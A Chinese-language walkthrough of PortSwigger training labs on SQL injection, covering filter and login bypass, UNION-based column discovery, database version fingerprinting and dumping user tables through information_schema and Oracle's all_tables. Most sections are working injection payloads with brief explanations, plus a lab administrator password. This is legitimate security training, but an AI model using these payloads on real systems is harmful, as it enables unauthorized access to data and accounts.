【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(上)

简介: 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

助你一臂之力  


📋问题1:大佬们都是如何快速发现漏洞点的?

🎯编写自动化脚本跑

🎯经验之谈(熟能生巧)

🎯细心谨慎(注意到一些细微差别)


📋问题2:使用的工具有哪些?


🎯BP的攻击模块

🎯sqlmap

🎯更多的是自己编写的脚本


60b618ab756f41a4bfb95b3355e6f6e6.png


一、SQL意义


1、目的:


未经授权访问敏感数据


2、示例:

1、检索隐藏数据,在其中修改 SQL 查询以返回其他结果。

2、颠覆应用程序逻辑,在其中更改查询以干扰应用程序的逻辑。

3、UNION 攻击,在其中从不同的数据库表中检索数据。

4、检查数据库,在其中提取有关数据库版本和结构的信息。

5、盲 SQL 注入,控制的查询结果不会在应用程序的响应中返回。


二、检索隐藏数据


心得:隐藏参数的注释(或者爆破分类,从而得到隐藏分类)


示例:
一个显示不同类别产品的购物应用程序。当用户单击“礼品”类别时,其浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts
SQL查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
此 SQL 查询要求数据库返回:
所有详细信息 (*)
从产品表
其中类别为礼品
并释放是 1
该限制用于隐藏未发布的产品。对于未发布的产品,大概为released = 1 released = 0


注入:
构建如下攻击('--)
https://insecure-website.com/products?category=Gifts'--
将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
后面查询的其余部分将被删除(--AND released = 1),意味着将显示所有产品,包括未发布的产品
攻击者可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
将返回类别为“礼物”或 1 = 1 的所有(始终为 true)


实验1:隐藏商品


part1:

点击分类为礼物(未做任何修改)

9489aa9e0ac14f2c9e9af2fa025cc9dc.png

part2:


把分类后面的内容注释调了,出现了新产品

375f58506d674d1c9ed9dfd2399b430f.png



part3:


随便点击一个分类(加上'+or+1=1--)


0329cea31d8b476fb426f10125d1eb9b.png


显示了所有商品(包括隐藏商品)


d16e57eba4f64cd7a1282939ae24113b.png


cc08a67e1eb44e95b307f9484d3628ef.png


三、颠覆应用程序逻辑


心得:登陆逻辑的绕过(相当于试判断成立)


示例:
如果用户提交用户名和密码
执行SQL 查询来检查凭据:(wiener  bluecheese)
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,将被拒绝
注入:
使用 SQL 注释序列从查询子句中删除密码检查,即可在没有密码的情况下以任何用户身份登录
如提交用户名+空白密码(--WHEREadministrator'--)
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
此查询返回用户名为administrator的用户,并成功将攻击者登录到该用户。


实验2:登陆逻辑


part1:


点击后进行登陆(需要输入密码,才能提交)


39c12503bffe4642ab17e7aa54259557.png


part2:


POST数据包中有csrf、username、password三个参数


c0fbf6a7c73e44d19649af948e1c0dd3.png

在username后加上'--注释掉后面的内容


(前提不是预编译那种,且没过滤,害)


0069331f999c4aba8d40972d299f3e4b.png


d9d2aa9b246c48098fd8cfb6a9d8b8f1.png


四、从其他数据库表中检索数据


心得:union联合查询(类似的还有堆叠注入,order by分类)


示例:
如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。这是使用关键字完成的,该关键字允许您执行其他查询并将结果追加到原始查询。UNIONSELECT
例如,如果应用程序执行以下包含用户输入“礼物”的查询:
SELECT name, description FROM products WHERE category = 'Gifts'
注入:
攻击者可以提交输入:
' UNION SELECT username, password FROM users--

实验3:判断列


part1:


点击一个分类
然后判断列数
'order by 3 --
正常回显

f53b842d70214c5289608d20d34d3b64.png


'order by 4 --
报错

b695c174af6844439c31aadf11205b9c.png


part2:


本题是要使用union select


'union+select+null,null,null--

59a04e93cb004869910971b8453b11c1.png


心得:判断字段数,以及可回现的位置、字段名


实验4:判断字段对应位置


part1:


'union+select+'NeXKXZ',null,null--


使用题目给的字符串,3个位置依次换,直到对上指定列的位置


2f26f5620f7649c38f186966a361bb56.png

'union+select+null,'NeXKXZ',null--


在第二个位置就正确了


2d3023aa80ea4d36bb56657de8711a3b.png


心得:union select联合查询数据


实验5:其他表检索数据


part1:


先判段为2列,再根据题目信息,username,password


'union+select+username,password from users--

20a874c03a7c46528bf1821dc36618cb.png


part2:


使用账号登陆


administrator of0vwdslqljccpzv3eik


d22b1aa447d34874bbed3da0a9b39f0a.png

心得:单个列中联合检索多个列的数据(不同数据库连接方法不同)


实验6:单个列中检索多个字段


判断是2列后


发现不是2列都是字符型


'union+select+'a','a'--

72c8db9500694fe086b1dbfffaeecaa7.png


第二列才是返回的字符型


第一列是数值型


'union+select+null,'a'--

d1565b85d9ff4eff8ca9388815d2747d.png


'union+select+'a',null--


扩展(不同数据库字符串的连接方法):
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'

part2:


将username,password合并到了一列带出


'union+select+null,username||'~'||password+from+users----

76c7bb59056543e4ae096bfbf2544ccd.png


part3:


登陆


心得:不同的数据库查询语句不同


实验7:Orange数据库版本


part1:


提示了为Oracle数据库(查询需要带上表,dual表,此表是Oracle数据库中的一个自带表)


order+by判断为2列,且2列都字符串型


'union+select+'a','b'+from+dual--

f1193d49d82d40d89324485c672a9b31.png


扩展(各数据库查询版本语句):
Mysql        SELECT version()
Sql Server   SELECT @@version
Oracle       SELECT * FROM v$version
Postgre      SELECT version()

part2:


banner提示:


11b44c9a31824e919debefbdcf696ad0.png


'union+select+banner,null+from+v$version--

4d4feff2f0f74611b71d22ea0b16ba62.png

心得:通过不同数据库查询语句,判断为何种数据库


实验8:Mysql数据库版本


part1:


'order by 2-- a
'union+select+null,'a'-- a


(此处-- a是为了使空格不被插件忽略,使得注释成功)

————

part2:

'union+select+null,version()-- a


1993c88986df425393570a99a48a6892.png

a2910a33787449f2838c01b29546a9d4.png


心得:基础知识:自带的information_schema


实验9:Orange数据库检索1

part1:


2列,且都是字符型


'order by 2--
'+UNION+SELECT+'a','b'--

part2:


查所有表(自带的information_schema)


'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--

7ee3b03be89c45abada1941d36557d28.png

查用户相关的表中的所有字段


'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_ybbtel'--

06ee323fc4b84900b22596a046a61012.pngc04a679a915e451da63149fdd75f42c2.png


查字段所对应的数据


'+UNION+SELECT+username_icxunp,password_gqvjoo+FROM+users_ybbtel--

fe0b947973af458886ea2ca62140c4c9.png


part3:


登陆


心得:Orange特殊之FROM+dual


实验10:Orange数据库检索2


part1:


2列,且都是字符型


'order by 2--
'UNION+SELECT+'a','b'+FROM+dual--

part2:


查所有表(找到用户表)


'UNION+SELECT+table_name,NULL+FROM+all_tables--

58ccb93505fd4a96a98d7cd2e55aa0fa.png

查所有字段


'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_YSRTOP'--

6f5909c5fe1a4e1eba0ac8806d1631e5.png

爆数据


'UNION+SELECT+USERNAME_KNSBZS,PASSWORD_VROHTE+FROM+USERS_YSRTOP--

29ddd97cb11545379e1eb47a12fc6d42.png

part3:


登陆


五、SQL盲注


【SQL盲注】基础函数、报错回显、延时判断、逻辑判断盲注

https://blog.csdn.net/qq_53079406/article/details/123124994?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-123124994-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


【SQL注入-无回显】布尔盲注:原理、函数、利用过程

https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-4-125275974-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


【SQL注入-无回显】时间盲注:原理、函数、利用过程

https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-6-125096394-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


心得:观察回显的不同(先看字节数)


目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
41 0
|
10天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
17 0
|
18天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
1月前
|
SQL JSON Kubernetes
Seata常见问题之服务端 error日志没有输出,客户端执行sql报错如何解决
Seata 是一个开源的分布式事务解决方案,旨在提供高效且简单的事务协调机制,以解决微服务架构下跨服务调用(分布式场景)的一致性问题。以下是Seata常见问题的一个合集
108 0
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0
|
1月前
|
SQL 安全 API
|
2月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
31 0
|
2月前
|
SQL 数据库 数据安全/隐私保护
sql注入碰到加密数据怎么办
sql注入碰到加密数据怎么办
19 1
|
2月前
|
SQL 数据库
SQL注入基础(报错注入及延时注入)
SQL注入基础(报错注入及延时注入)
23 0